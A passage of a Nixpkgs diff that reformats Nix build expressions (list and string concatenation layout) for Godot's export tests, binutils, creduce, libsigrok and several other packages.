-                    cat >Test.cs <<'EOF'
-                    using Godot;
-                    using System;
-
-                    public partial class Test : Node
-                    {
-                      public override void _Ready()
-                      {
-                        GD.Print("Hello, Mono!");
-                        GetTree().Quit();
-                      }
-                    }
-                    EOF
-
-                    sdk_version=$(basename ${pkg}/share/nuget/packages/godot.net.sdk/*)
-                    cat >UnnamedProject.csproj <<EOF
-                    <Project Sdk="Godot.NET.Sdk/$sdk_version">
-                      <PropertyGroup>
-                        <TargetFramework>net8.0</TargetFramework>
-                        <EnableDynamicLoading>true</EnableDynamicLoading>
-                      </PropertyGroup>
-                    </Project>
-                    EOF
-                  ''
-                );
-
-                export-tests = lib.makeExtensible (final: {
-                  inherit (pkg) export-template;
-
-                  export = stdenvNoCC.mkDerivation {
-                    name = "${final.export-template.name}-export";
-
-                    nativeBuildInputs = [
-                      pkg
-                    ] ++ lib.optional withMono dotnet-sdk;
-
-                    src = project-src;
-
-                    postConfigure = lib.optionalString withMono ''
-                      dotnet new sln -n UnnamedProject
-                      message=$(dotnet sln add UnnamedProject.csproj)
-                      echo "$message"
-                      # dotnet sln doesn't return an error when it fails to add the project
-                      [[ $message == "Project \`UnnamedProject.csproj\` added to the solution." ]]
-                    '';
-
-                    exportTemplate = pkg.export-template;
-
-                    buildPhase = ''
-                      runHook preBuild
-
-                      export HOME=$(mktemp -d)
-                      mkdir -p $HOME/.local/share/godot/
-                      ln -s "${final.export-template}"/share/godot/export_templates "$HOME"/.local/share/godot/
-
-                      godot${suffix} --headless --build-solutions -s create-scene.gd
-
-                      runHook postBuild
-                    '';
-
-                    installPhase = ''
-                      runHook preInstall
-
-                      mkdir -p "$out"/bin
-                      godot${suffix} --headless --export-release build "$out"/bin/test
-
-                      runHook postInstall
-                    '';
-                  };
-
-                  run = runCommand "${final.export.name}-runs" { passthru = { inherit (final) export; }; } (
-                    ''
-                      (
-                        set -eo pipefail
-                        HOME=$(mktemp -d)
-                        "${final.export}"/bin/test --headless | tail -n+3 | (
-                    ''
-                    + lib.optionalString withMono ''
-                      # indent
-                          read output
-                          if [[ "$output" != "Hello, Mono!" ]]; then
-                            echo "unexpected output: $output" >&2
-                            exit 1
-                          fi
-                    ''
-                    + ''
-                          read output
-                          if [[ "$output" != "Hello, World!" ]]; then
-                            echo "unexpected output: $output" >&2
-                            exit 1
-                          fi
-                        )
-                        touch "$out"
-                      )
-                    ''
-                  );
-                });
-
-              in
-              {
-                export-runs = export-tests.run;
-
-                export-bin-runs =
-                  (export-tests.extend (
-                    final: prev: {
-                      export-template = pkg.export-templates-bin;
-
-                      export = prev.export.overrideAttrs (prev: {
-                        nativeBuildInputs = prev.nativeBuildInputs or [ ] ++ [
-                          autoPatchelfHook
-                        ];
-
-                        # stripping dlls results in:
-                        # Failed to load System.Private.CoreLib.dll (error code 0x8007000B)
-                        stripExclude = lib.optional withMono [ "*.dll" ];
-
-                        runtimeDependencies =
-                          prev.runtimeDependencies or [ ]
-                          ++ map lib.getLib [
-                            alsa-lib
-                            libpulseaudio
-                            libX11
-                            libXcursor
-                            libXext
-                            libXi
-                            libXrandr
-                            udev
-                            vulkan-loader
-                          ];
-                      });
-                    }
-                  )).run;
-              }
-            );
+        tests = {
+          version = testers.testVersion {
+            package = finalAttrs.finalPackage;
+            version = dottedVersion;
+          };
         }
-        // lib.optionalAttrs editor {
-          export-template = mkTarget "template_release";
-          export-templates-bin = (
-            callPackage ./export-templates-bin.nix {
-              inherit version withMono;
-              godot = finalAttrs.finalPackage;
-              hash = exportTemplatesHash;
-            }
-          );
-        };
+        // lib.optionalAttrs (editor) (
+          let
+            pkg = finalAttrs.finalPackage;
+
+            project-src = runCommand "${pkg.name}-project-src" { } (
+              ''
+                mkdir "$out"
+                cd "$out"
+                touch project.godot
+
+                cat >create-scene.gd <<'EOF'
+                extends SceneTree
+
+                func _initialize():
+                  var node = Node.new()
+                  var script = ResourceLoader.load("res://test.gd")
+                  node.set_script(script)
+              ''
+              + lib.optionalString withMono ''
+                ${""}
+                  var monoNode = Node.new()
+                  var monoScript = ResourceLoader.load("res://Test.cs")
+                  monoNode.set_script(monoScript)
+                  node.add_child(monoNode)
+                  monoNode.owner = node
+              ''
+              + ''
+                  var scene = PackedScene.new()
+                  var scenePath = "res://test.tscn"
+                  scene.pack(node)
+                  node.free()
+                  var x = ResourceSaver.save(scene, scenePath)
+                  ProjectSettings["application/run/main_scene"] = scenePath
+                  ProjectSettings.save()
+                  quit()
+                EOF
+
+                cat >test.gd <<'EOF'
+                extends Node
+                func _ready():
+                  print("Hello, World!")
+                  get_tree().quit()
+                EOF
+
+                cat >export_presets.cfg <<'EOF'
+                [preset.0]
+                name="build"
+                platform="Linux"
+                runnable=true
+                export_filter="all_resources"
+                include_filter=""
+                exclude_filter=""
+                [preset.0.options]
+                binary_format/architecture="${arch}"
+                EOF
+              ''
+              + lib.optionalString withMono ''
+                cat >Test.cs <<'EOF'
+                using Godot;
+                using System;
+
+                public partial class Test : Node
+                {
+                  public override void _Ready()
+                  {
+                    GD.Print("Hello, Mono!");
+                    GetTree().Quit();
+                  }
+                }
+                EOF
+
+                sdk_version=$(basename ${pkg}/share/nuget/packages/godot.net.sdk/*)
+                cat >UnnamedProject.csproj <<EOF
+                <Project Sdk="Godot.NET.Sdk/$sdk_version">
+                  <PropertyGroup>
+                    <TargetFramework>net8.0</TargetFramework>
+                    <EnableDynamicLoading>true</EnableDynamicLoading>
+                  </PropertyGroup>
+                </Project>
+                EOF
+              ''
+            );
+
+            export-tests = lib.makeExtensible (final: {
+              inherit (pkg) export-template;
+
+              export = stdenvNoCC.mkDerivation {
+                name = "${final.export-template.name}-export";
+
+                nativeBuildInputs = [
+                  pkg
+                ]
+                ++ lib.optional withMono dotnet-sdk;
+
+                src = project-src;
+
+                postConfigure = lib.optionalString withMono ''
+                  dotnet new sln -n UnnamedProject
+                  message=$(dotnet sln add UnnamedProject.csproj)
+                  echo "$message"
+                  # dotnet sln doesn't return an error when it fails to add the project
+                  [[ $message == "Project \`UnnamedProject.csproj\` added to the solution." ]]
+                '';
+
+                exportTemplate = pkg.export-template;
+
+                buildPhase = ''
+                  runHook preBuild
+
+                  export HOME=$(mktemp -d)
+                  mkdir -p $HOME/.local/share/godot/
+                  ln -s "${final.export-template}"/share/godot/export_templates "$HOME"/.local/share/godot/
+
+                  godot${suffix} --headless --build-solutions -s create-scene.gd
+
+                  runHook postBuild
+                '';
+
+                installPhase = ''
+                  runHook preInstall
+
+                  mkdir -p "$out"/bin
+                  godot${suffix} --headless --export-release build "$out"/bin/test
+
+                  runHook postInstall
+                '';
+              };
+
+              run = runCommand "${final.export.name}-runs" { passthru = { inherit (final) export; }; } (
+                ''
+                  (
+                    set -eo pipefail
+                    HOME=$(mktemp -d)
+                    "${final.export}"/bin/test --headless | tail -n+3 | (
+                ''
+                + lib.optionalString withMono ''
+                  # indent
+                      read output
+                      if [[ "$output" != "Hello, Mono!" ]]; then
+                        echo "unexpected output: $output" >&2
+                        exit 1
+                      fi
+                ''
+                + ''
+                      read output
+                      if [[ "$output" != "Hello, World!" ]]; then
+                        echo "unexpected output: $output" >&2
+                        exit 1
+                      fi
+                    )
+                    touch "$out"
+                  )
+                ''
+              );
+            });
+
+          in
+          {
+            export-runs = export-tests.run;
+
+            export-bin-runs =
+              (export-tests.extend (
+                final: prev: {
+                  export-template = pkg.export-templates-bin;
+
+                  export = prev.export.overrideAttrs (prev: {
+                    nativeBuildInputs = prev.nativeBuildInputs or [ ] ++ [
+                      autoPatchelfHook
+                    ];
+
+                    # stripping dlls results in:
+                    # Failed to load System.Private.CoreLib.dll (error code 0x8007000B)
+                    stripExclude = lib.optional withMono [ "*.dll" ];
+
+                    runtimeDependencies =
+                      prev.runtimeDependencies or [ ]
+                      ++ map lib.getLib [
+                        alsa-lib
+                        libpulseaudio
+                        libX11
+                        libXcursor
+                        libXext
+                        libXi
+                        libXrandr
+                        udev
+                        vulkan-loader
+                      ];
+                  });
+                }
+              )).run;
+          }
+        );
+      }
+      // lib.optionalAttrs editor {
+        export-template = mkTarget "template_release";
+        export-templates-bin = (
+          callPackage ./export-templates-bin.nix {
+            inherit version withMono;
+            godot = finalAttrs.finalPackage;
+            hash = exportTemplatesHash;
+          }
+        );
+      };
 
       requiredSystemFeatures = [
         # fixes: No space left on device
@@ -557,7 +555,8 @@ let
         platforms = [
           "x86_64-linux"
           "aarch64-linux"
-        ] ++ lib.optional (!withMono) "i686-linux";
+        ]
+        ++ lib.optional (!withMono) "i686-linux";
         maintainers = with lib.maintainers; [
           shiryel
           corngood
diff --git a/pkgs/development/tools/haskell/hadrian/hadrian.nix b/pkgs/development/tools/haskell/hadrian/hadrian.nix
index cdd511e1b66c..17c5a3466e15 100644
--- a/pkgs/development/tools/haskell/hadrian/hadrian.nix
+++ b/pkgs/development/tools/haskell/hadrian/hadrian.nix
@@ -56,30 +56,29 @@ mkDerivation {
     || (lib.versionAtLeast ghcVersion "9.12" && lib.versionOlder ghcVersion "9.15");
   isLibrary = false;
   isExecutable = true;
-  executableHaskellDepends =
-    [
-      base
-      bytestring
-      Cabal
-      containers
-      directory
-      extra
-      filepath
-      mtl
-      parsec
-      shake
-      text
-      transformers
-      unordered-containers
-    ]
-    ++ lib.optionals (lib.versionAtLeast ghcVersion "9.7") [
-      cryptohash-sha256
-      base16-bytestring
-    ]
-    ++ lib.optionals (lib.versionAtLeast ghcVersion "9.9") [
-      ghc-platform
-      ghc-toolchain
-    ];
+  executableHaskellDepends = [
+    base
+    bytestring
+    Cabal
+    containers
+    directory
+    extra
+    filepath
+    mtl
+    parsec
+    shake
+    text
+    transformers
+    unordered-containers
+  ]
+  ++ lib.optionals (lib.versionAtLeast ghcVersion "9.7") [
+    cryptohash-sha256
+    base16-bytestring
+  ]
+  ++ lib.optionals (lib.versionAtLeast ghcVersion "9.9") [
+    ghc-platform
+    ghc-toolchain
+  ];
   passthru = {
     # Expose »private« dependencies if any
     inherit ghc-platform ghc-toolchain;
diff --git a/pkgs/development/tools/haskell/lambdabot/default.nix b/pkgs/development/tools/haskell/lambdabot/default.nix
index 0109e1ea2934..2e50275c57a5 100644
--- a/pkgs/development/tools/haskell/lambdabot/default.nix
+++ b/pkgs/development/tools/haskell/lambdabot/default.nix
@@ -33,21 +33,17 @@ let
 in
 haskellLib.overrideCabal (self: {
   patches = (self.patches or [ ]) ++ [ ./custom-config.patch ];
-  postPatch =
-    (self.postPatch or "")
-    + ''
-      substituteInPlace src/Main.hs \
-        --replace '@config@' '${configStr}'
-      substituteInPlace src/Modules.hs \
-        --replace '@modules@' '${modulesStr}'
-    '';
+  postPatch = (self.postPatch or "") + ''
+    substituteInPlace src/Main.hs \
+      --replace '@config@' '${configStr}'
+    substituteInPlace src/Modules.hs \
+      --replace '@modules@' '${modulesStr}'
+  '';
 
   buildTools = (self.buildTools or [ ]) ++ [ makeWrapper ];
 
-  postInstall =
-    (self.postInstall or "")
-    + ''
-      wrapProgram $out/bin/lambdabot \
-        --prefix PATH ":" '${bins}'
-    '';
+  postInstall = (self.postInstall or "") + ''
+    wrapProgram $out/bin/lambdabot \
+      --prefix PATH ":" '${bins}'
+  '';
 }) haskellPackages.lambdabot
diff --git a/pkgs/development/tools/hotdoc/default.nix b/pkgs/development/tools/hotdoc/default.nix
index a8c1b30f53f8..24e4f290242f 100644
--- a/pkgs/development/tools/hotdoc/default.nix
+++ b/pkgs/development/tools/hotdoc/default.nix
@@ -92,15 +92,14 @@ buildPythonApplication rec {
     "hotdoc"
   ];
 
-  disabledTests =
-    [
-      # Test does not correctly handle path normalization for test comparison
-      "test_cli_overrides"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Test does not correctly handle absolute /home paths on Darwin (even fake ones)
-      "test_index"
-    ];
+  disabledTests = [
+    # Test does not correctly handle path normalization for test comparison
+    "test_cli_overrides"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Test does not correctly handle absolute /home paths on Darwin (even fake ones)
+    "test_index"
+  ];
 
   # Hardcode libclang paths
   postPatch = ''
diff --git a/pkgs/development/tools/ilspycmd/default.nix b/pkgs/development/tools/ilspycmd/default.nix
index 61918c6b7a95..9c087b533608 100644
--- a/pkgs/development/tools/ilspycmd/default.nix
+++ b/pkgs/development/tools/ilspycmd/default.nix
@@ -19,13 +19,12 @@ buildDotnetModule (finalAttrs: rec {
     hash = "sha256-7cPXFaEKr76GtqcNsKx7tstRUeTpSTF8ggxbyEnQa9M=";
   };
 
-  nativeBuildInputs =
-    [
-      powershell
-    ]
-    ++ lib.optionals (stdenvNoCC.hostPlatform.isDarwin && stdenvNoCC.hostPlatform.isAarch64) [
-      autoSignDarwinBinariesHook
-    ];
+  nativeBuildInputs = [
+    powershell
+  ]
+  ++ lib.optionals (stdenvNoCC.hostPlatform.isDarwin && stdenvNoCC.hostPlatform.isAarch64) [
+    autoSignDarwinBinariesHook
+  ];
 
   # https://github.com/NixOS/nixpkgs/issues/38991
   # bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
diff --git a/pkgs/development/tools/libsigrok/default.nix b/pkgs/development/tools/libsigrok/default.nix
index fa291ee2a13e..da0098460ded 100644
--- a/pkgs/development/tools/libsigrok/default.nix
+++ b/pkgs/development/tools/libsigrok/default.nix
@@ -37,21 +37,20 @@ stdenv.mkDerivation {
     pkg-config
     python3
   ];
-  buildInputs =
-    [
-      libzip
-      glib
-      libusb1
-      libftdi1
-      check
-      libserialport
-      glibmm
-      hidapi
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libieee1284
-      bluez
-    ];
+  buildInputs = [
+    libzip
+    glib
+    libusb1
+    libftdi1
+    check
+    libserialport
+    glibmm
+    hidapi
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libieee1284
+    bluez
+  ];
 
   strictDeps = true;
 
diff --git a/pkgs/development/tools/misc/binutils/2.38/default.nix b/pkgs/development/tools/misc/binutils/2.38/default.nix
index 2fe833bc2841..4b3c8443dbbc 100644
--- a/pkgs/development/tools/misc/binutils/2.38/default.nix
+++ b/pkgs/development/tools/misc/binutils/2.38/default.nix
@@ -61,61 +61,60 @@ stdenv.mkDerivation {
   # WARN: this package is used for bootstrapping fetchurl, and thus cannot use
   # fetchpatch! All mutable patches (generated by GitHub or cgit) that are
   # needed here should be included directly in Nixpkgs as files.
-  patches =
-    [
-      # Make binutils output deterministic by default.
-      ./deterministic.patch
+  patches = [
+    # Make binutils output deterministic by default.
+    ./deterministic.patch
 
-      # Breaks nm BSD flag detection
-      ./0001-Revert-libtool.m4-fix-nm-BSD-flag-detection.patch
+    # Breaks nm BSD flag detection
+    ./0001-Revert-libtool.m4-fix-nm-BSD-flag-detection.patch
 
-      # Required for newer macos versions
-      ./0001-libtool.m4-update-macos-version-detection-block.patch
+    # Required for newer macos versions
+    ./0001-libtool.m4-update-macos-version-detection-block.patch
 
-      # For some reason bfd ld doesn't search DT_RPATH when cross-compiling. It's
-      # not clear why this behavior was decided upon but it has the unfortunate
-      # consequence that the linker will fail to find transitive dependencies of
-      # shared objects when cross-compiling. Consequently, we are forced to
-      # override this behavior, forcing ld to search DT_RPATH even when
-      # cross-compiling.
-      ./always-search-rpath.patch
+    # For some reason bfd ld doesn't search DT_RPATH when cross-compiling. It's
+    # not clear why this behavior was decided upon but it has the unfortunate
+    # consequence that the linker will fail to find transitive dependencies of
+    # shared objects when cross-compiling. Consequently, we are forced to
+    # override this behavior, forcing ld to search DT_RPATH even when
+    # cross-compiling.
+    ./always-search-rpath.patch
 
-      # Fixed in 2.39
-      # https://sourceware.org/bugzilla/show_bug.cgi?id=28885
-      # https://sourceware.org/git/?p=binutils-gdb.git;a=patch;h=99852365513266afdd793289813e8e565186c9e6
-      # https://github.com/NixOS/nixpkgs/issues/170946
-      ./deterministic-temp-prefixes.patch
-    ]
-    ++ lib.optional targetPlatform.isiOS ./support-ios.patch
-    ++ lib.optional stdenv.targetPlatform.isWindows ./windres-locate-gcc.patch
-    ++
-      lib.optional stdenv.targetPlatform.isMips64n64
-        # this patch is from debian:
-        # https://sources.debian.org/data/main/b/binutils/2.38-3/debian/patches/mips64-default-n64.diff
-        (
-          if stdenv.targetPlatform.isMusl then
-            substitute {
-              src = ./mips64-default-n64.patch;
-              substitutions = [
-                "--replace"
-                "gnuabi64"
-                "muslabi64"
-              ];
-            }
-          else
-            ./mips64-default-n64.patch
-        )
-    # On PowerPC, when generating assembly code, GCC generates a `.machine`
-    # custom instruction which instructs the assembler to generate code for this
-    # machine. However, some GCC versions generate the wrong one, or make it
-    # too strict, which leads to some confusing "unrecognized opcode: wrtee"
-    # or "unrecognized opcode: eieio" errors.
-    #
-    # To remove when binutils 2.39 is released.
-    #
-    # Upstream commit:
-    # https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=cebc89b9328eab994f6b0314c263f94e7949a553
-    ++ lib.optional stdenv.targetPlatform.isPower ./ppc-make-machine-less-strict.patch;
+    # Fixed in 2.39
+    # https://sourceware.org/bugzilla/show_bug.cgi?id=28885
+    # https://sourceware.org/git/?p=binutils-gdb.git;a=patch;h=99852365513266afdd793289813e8e565186c9e6
+    # https://github.com/NixOS/nixpkgs/issues/170946
+    ./deterministic-temp-prefixes.patch
+  ]
+  ++ lib.optional targetPlatform.isiOS ./support-ios.patch
+  ++ lib.optional stdenv.targetPlatform.isWindows ./windres-locate-gcc.patch
+  ++
+    lib.optional stdenv.targetPlatform.isMips64n64
+      # this patch is from debian:
+      # https://sources.debian.org/data/main/b/binutils/2.38-3/debian/patches/mips64-default-n64.diff
+      (
+        if stdenv.targetPlatform.isMusl then
+          substitute {
+            src = ./mips64-default-n64.patch;
+            substitutions = [
+              "--replace"
+              "gnuabi64"
+              "muslabi64"
+            ];
+          }
+        else
+          ./mips64-default-n64.patch
+      )
+  # On PowerPC, when generating assembly code, GCC generates a `.machine`
+  # custom instruction which instructs the assembler to generate code for this
+  # machine. However, some GCC versions generate the wrong one, or make it
+  # too strict, which leads to some confusing "unrecognized opcode: wrtee"
+  # or "unrecognized opcode: eieio" errors.
+  #
+  # To remove when binutils 2.39 is released.
+  #
+  # Upstream commit:
+  # https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=cebc89b9328eab994f6b0314c263f94e7949a553
+  ++ lib.optional stdenv.targetPlatform.isPower ./ppc-make-machine-less-strict.patch;
 
   outputs = [
     "out"
@@ -125,20 +124,19 @@ stdenv.mkDerivation {
 
   strictDeps = true;
   depsBuildBuild = [ buildPackages.stdenv.cc ];
-  nativeBuildInputs =
-    [
-      bison
-      perl
-      texinfo
-    ]
-    ++ lib.optionals targetPlatform.isiOS [ autoreconfHook ]
-    ++ lib.optionals buildPlatform.isDarwin [
-      autoconf269
-      automake
-      gettext
-      libtool
-    ]
-    ++ lib.optionals targetPlatform.isVc4 [ flex ];
+  nativeBuildInputs = [
+    bison
+    perl
+    texinfo
+  ]
+  ++ lib.optionals targetPlatform.isiOS [ autoreconfHook ]
+  ++ lib.optionals buildPlatform.isDarwin [
+    autoconf269
+    automake
+    gettext
+    libtool
+  ]
+  ++ lib.optionals targetPlatform.isVc4 [ flex ];
 
   buildInputs = [
     zlib
@@ -190,46 +188,45 @@ stdenv.mkDerivation {
     "target"
   ];
 
-  configureFlags =
-    [
-      "--enable-64-bit-bfd"
-      "--with-system-zlib"
+  configureFlags = [
+    "--enable-64-bit-bfd"
+    "--with-system-zlib"
 
-      "--enable-deterministic-archives"
-      "--disable-werror"
-      "--enable-fix-loongson2f-nop"
+    "--enable-deterministic-archives"
+    "--disable-werror"
+    "--enable-fix-loongson2f-nop"
 
-      # Turn on --enable-new-dtags by default to make the linker set
-      # RUNPATH instead of RPATH on binaries.  This is important because
-      # RUNPATH can be overridden using LD_LIBRARY_PATH at runtime.
-      "--enable-new-dtags"
+    # Turn on --enable-new-dtags by default to make the linker set
+    # RUNPATH instead of RPATH on binaries.  This is important because
+    # RUNPATH can be overridden using LD_LIBRARY_PATH at runtime.
+    "--enable-new-dtags"
 
-      # force target prefix. Some versions of binutils will make it empty if
-      # `--host` and `--target` are too close, even if Nixpkgs thinks the
-      # platforms are different (e.g. because not all the info makes the
-      # `config`). Other versions of binutils will always prefix if `--target` is
-      # passed, even if `--host` and `--target` are the same. The easiest thing
-      # for us to do is not leave it to chance, and force the program prefix to be
-      # what we want it to be.
-      "--program-prefix=${targetPrefix}"
-    ]
-    ++ lib.optionals withAllTargets [ "--enable-targets=all" ]
-    ++ lib.optionals enableGold [
-      "--enable-gold"
-      "--enable-plugins"
-    ]
-    ++ (
-      if enableShared then
-        [
-          "--enable-shared"
-          "--disable-static"
-        ]
-      else
-        [
-          "--disable-shared"
-          "--enable-static"
-        ]
-    );
+    # force target prefix. Some versions of binutils will make it empty if
+    # `--host` and `--target` are too close, even if Nixpkgs thinks the
+    # platforms are different (e.g. because not all the info makes the
+    # `config`). Other versions of binutils will always prefix if `--target` is
+    # passed, even if `--host` and `--target` are the same. The easiest thing
+    # for us to do is not leave it to chance, and force the program prefix to be
+    # what we want it to be.
+    "--program-prefix=${targetPrefix}"
+  ]
+  ++ lib.optionals withAllTargets [ "--enable-targets=all" ]
+  ++ lib.optionals enableGold [
+    "--enable-gold"
+    "--enable-plugins"
+  ]
+  ++ (
+    if enableShared then
+      [
+        "--enable-shared"
+        "--disable-static"
+      ]
+    else
+      [
+        "--disable-shared"
+        "--enable-static"
+      ]
+  );
 
   # Fails
   doCheck = false;
diff --git a/pkgs/development/tools/misc/binutils/2.38/libbfd.nix b/pkgs/development/tools/misc/binutils/2.38/libbfd.nix
index c24d23826115..d63405118e71 100644
--- a/pkgs/development/tools/misc/binutils/2.38/libbfd.nix
+++ b/pkgs/development/tools/misc/binutils/2.38/libbfd.nix
@@ -49,7 +49,8 @@ stdenv.mkDerivation {
   buildInputs = [
     libiberty
     zlib
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ libintl ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ libintl ];
 
   configurePlatforms = [
     "build"
@@ -60,7 +61,8 @@ stdenv.mkDerivation {
     "--enable-64-bit-bfd"
     "--enable-install-libbfd"
     "--with-system-zlib"
-  ] ++ lib.optional (!stdenv.hostPlatform.isStatic) "--enable-shared";
+  ]
+  ++ lib.optional (!stdenv.hostPlatform.isStatic) "--enable-shared";
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/development/tools/misc/binutils/default.nix b/pkgs/development/tools/misc/binutils/default.nix
index dd0fe97d9ff4..d94f207c2274 100644
--- a/pkgs/development/tools/misc/binutils/default.nix
+++ b/pkgs/development/tools/misc/binutils/default.nix
@@ -85,38 +85,36 @@ stdenv.mkDerivation (finalAttrs: {
     ./windres-locate-gcc.patch
   ];
 
-  outputs =
-    [
-      "out"
-      "info"
-      "man"
-      "dev"
-    ]
-    # Ideally we would like to always install 'lib' into a separate
-    # target. Unfortunately cross-compiled binutils installs libraries
-    # across both `$lib/lib/` and `$out/$target/lib` with a reference
-    # from $out to $lib. Probably a binutils bug: all libraries should go
-    # to $lib as binutils does not build target libraries. Let's make our
-    # life slightly simpler by installing everything into $out for
-    # cross-binutils.
-    ++ lib.optionals (targetPlatform == hostPlatform) [ "lib" ];
+  outputs = [
+    "out"
+    "info"
+    "man"
+    "dev"
+  ]
+  # Ideally we would like to always install 'lib' into a separate
+  # target. Unfortunately cross-compiled binutils installs libraries
+  # across both `$lib/lib/` and `$out/$target/lib` with a reference
+  # from $out to $lib. Probably a binutils bug: all libraries should go
+  # to $lib as binutils does not build target libraries. Let's make our
+  # life slightly simpler by installing everything into $out for
+  # cross-binutils.
+  ++ lib.optionals (targetPlatform == hostPlatform) [ "lib" ];
 
   strictDeps = true;
   depsBuildBuild = [ buildPackages.stdenv.cc ];
   # texinfo was removed here in https://github.com/NixOS/nixpkgs/pull/210132
   # to reduce rebuilds during stdenv bootstrap.  Please don't add it back without
   # checking the impact there first.
-  nativeBuildInputs =
-    [
-      bison
-      perl
-    ]
-    ++ lib.optionals buildPlatform.isDarwin [
-      autoconf269
-      automake
-      gettext
-      libtool
-    ];
+  nativeBuildInputs = [
+    bison
+    perl
+  ]
+  ++ lib.optionals buildPlatform.isDarwin [
+    autoconf269
+    automake
+    gettext
+    libtool
+  ];
 
   buildInputs = [
     zlib
@@ -187,65 +185,64 @@ stdenv.mkDerivation (finalAttrs: {
     "target"
   ];
 
-  configureFlags =
-    [
-      "--enable-64-bit-bfd"
-      "--with-system-zlib"
+  configureFlags = [
+    "--enable-64-bit-bfd"
+    "--with-system-zlib"
 
-      "--enable-deterministic-archives"
-      "--disable-werror"
-      "--enable-fix-loongson2f-nop"
+    "--enable-deterministic-archives"
+    "--disable-werror"
+    "--enable-fix-loongson2f-nop"
 
-      # Turn on --enable-new-dtags by default to make the linker set
-      # RUNPATH instead of RPATH on binaries.  This is important because
-      # RUNPATH can be overridden using LD_LIBRARY_PATH at runtime.
-      "--enable-new-dtags"
+    # Turn on --enable-new-dtags by default to make the linker set
+    # RUNPATH instead of RPATH on binaries.  This is important because
+    # RUNPATH can be overridden using LD_LIBRARY_PATH at runtime.
+    "--enable-new-dtags"
 
-      # force target prefix. Some versions of binutils will make it empty if
-      # `--host` and `--target` are too close, even if Nixpkgs thinks the
-      # platforms are different (e.g. because not all the info makes the
-      # `config`). Other versions of binutils will always prefix if `--target` is
-      # passed, even if `--host` and `--target` are the same. The easiest thing
-      # for us to do is not leave it to chance, and force the program prefix to be
-      # what we want it to be.
-      "--program-prefix=${targetPrefix}"
+    # force target prefix. Some versions of binutils will make it empty if
+    # `--host` and `--target` are too close, even if Nixpkgs thinks the
+    # platforms are different (e.g. because not all the info makes the
+    # `config`). Other versions of binutils will always prefix if `--target` is
+    # passed, even if `--host` and `--target` are the same. The easiest thing
+    # for us to do is not leave it to chance, and force the program prefix to be
+    # what we want it to be.
+    "--program-prefix=${targetPrefix}"
 
-      # Unconditionally disable:
-      # - musl target needs porting: https://sourceware.org/PR29477
-      "--disable-gprofng"
+    # Unconditionally disable:
+    # - musl target needs porting: https://sourceware.org/PR29477
+    "--disable-gprofng"
 
-      # By default binutils searches $libdir for libraries. This brings in
-      # libbfd and libopcodes into a default visibility. Drop default lib
-      # path to force users to declare their use of these libraries.
-      "--with-lib-path=:"
-    ]
-    ++ lib.optionals withAllTargets [ "--enable-targets=all" ]
-    ++ lib.optionals enableGold [
-      "--enable-gold${lib.optionalString enableGoldDefault "=default"}"
-      "--enable-plugins"
-    ]
-    ++ (
-      if enableShared then
-        [
-          "--enable-shared"
-          "--disable-static"
-        ]
-      else
-        [
-          "--disable-shared"
-          "--enable-static"
-        ]
-    )
-    ++ (lib.optionals (stdenv.cc.bintools.isLLVM && lib.versionAtLeast stdenv.cc.bintools.version "17")
+    # By default binutils searches $libdir for libraries. This brings in
+    # libbfd and libopcodes into a default visibility. Drop default lib
+    # path to force users to declare their use of these libraries.
+    "--with-lib-path=:"
+  ]
+  ++ lib.optionals withAllTargets [ "--enable-targets=all" ]
+  ++ lib.optionals enableGold [
+    "--enable-gold${lib.optionalString enableGoldDefault "=default"}"
+    "--enable-plugins"
+  ]
+  ++ (
+    if enableShared then
       [
-        # lld17+ passes `--no-undefined-version` by default and makes this a hard
-        # error; libctf.ver version script references symbols that aren't present.
-        #
-        # This is fixed upstream and can be removed with the future release of 2.43.
-        # For now we allow this with `--undefined-version`:
-        "LDFLAGS=-Wl,--undefined-version"
+        "--enable-shared"
+        "--disable-static"
       ]
-    );
+    else
+      [
+        "--disable-shared"
+        "--enable-static"
+      ]
+  )
+  ++ (lib.optionals (stdenv.cc.bintools.isLLVM && lib.versionAtLeast stdenv.cc.bintools.version "17")
+    [
+      # lld17+ passes `--no-undefined-version` by default and makes this a hard
+      # error; libctf.ver version script references symbols that aren't present.
+      #
+      # This is fixed upstream and can be removed with the future release of 2.43.
+      # For now we allow this with `--undefined-version`:
+      "LDFLAGS=-Wl,--undefined-version"
+    ]
+  );
 
   # Fails
   doCheck = false;
diff --git a/pkgs/development/tools/misc/creduce/default.nix b/pkgs/development/tools/misc/creduce/default.nix
index a893a0acb8a1..3efde95d5851 100644
--- a/pkgs/development/tools/misc/creduce/default.nix
+++ b/pkgs/development/tools/misc/creduce/default.nix
@@ -39,42 +39,40 @@ stdenv.mkDerivation rec {
     })
   ];
 
-  postPatch =
-    ''
-      substituteInPlace CMakeLists.txt \
-        --replace "-std=c++11" "-std=c++17"
-    ''
-    # On Linux, c-reduce's preferred way to reason about
-    # the cpu architecture/topology is to use 'lscpu',
-    # so let's make sure it knows where to find it:
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      substituteInPlace creduce/creduce_utils.pm --replace \
-        lscpu ${util-linux}/bin/lscpu
-    '';
+  postPatch = ''
+    substituteInPlace CMakeLists.txt \
+      --replace "-std=c++11" "-std=c++17"
+  ''
+  # On Linux, c-reduce's preferred way to reason about
+  # the cpu architecture/topology is to use 'lscpu',
+  # so let's make sure it knows where to find it:
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    substituteInPlace creduce/creduce_utils.pm --replace \
+      lscpu ${util-linux}/bin/lscpu
+  '';
 
   nativeBuildInputs = [
     cmake
     makeWrapper
     llvm.dev
   ];
-  buildInputs =
-    [
-      # Ensure stdenv's CC is on PATH before clang-unwrapped
-      stdenv.cc
-      # Actual deps:
-      llvm
-      libclang
-      flex
-      zlib
-    ]
-    ++ (with perlPackages; [
-      perl
-      ExporterLite
-      FileWhich
-      GetoptTabular
-      RegexpCommon
-      TermReadKey
-    ]);
+  buildInputs = [
+    # Ensure stdenv's CC is on PATH before clang-unwrapped
+    stdenv.cc
+    # Actual deps:
+    llvm
+    libclang
+    flex
+    zlib
+  ]
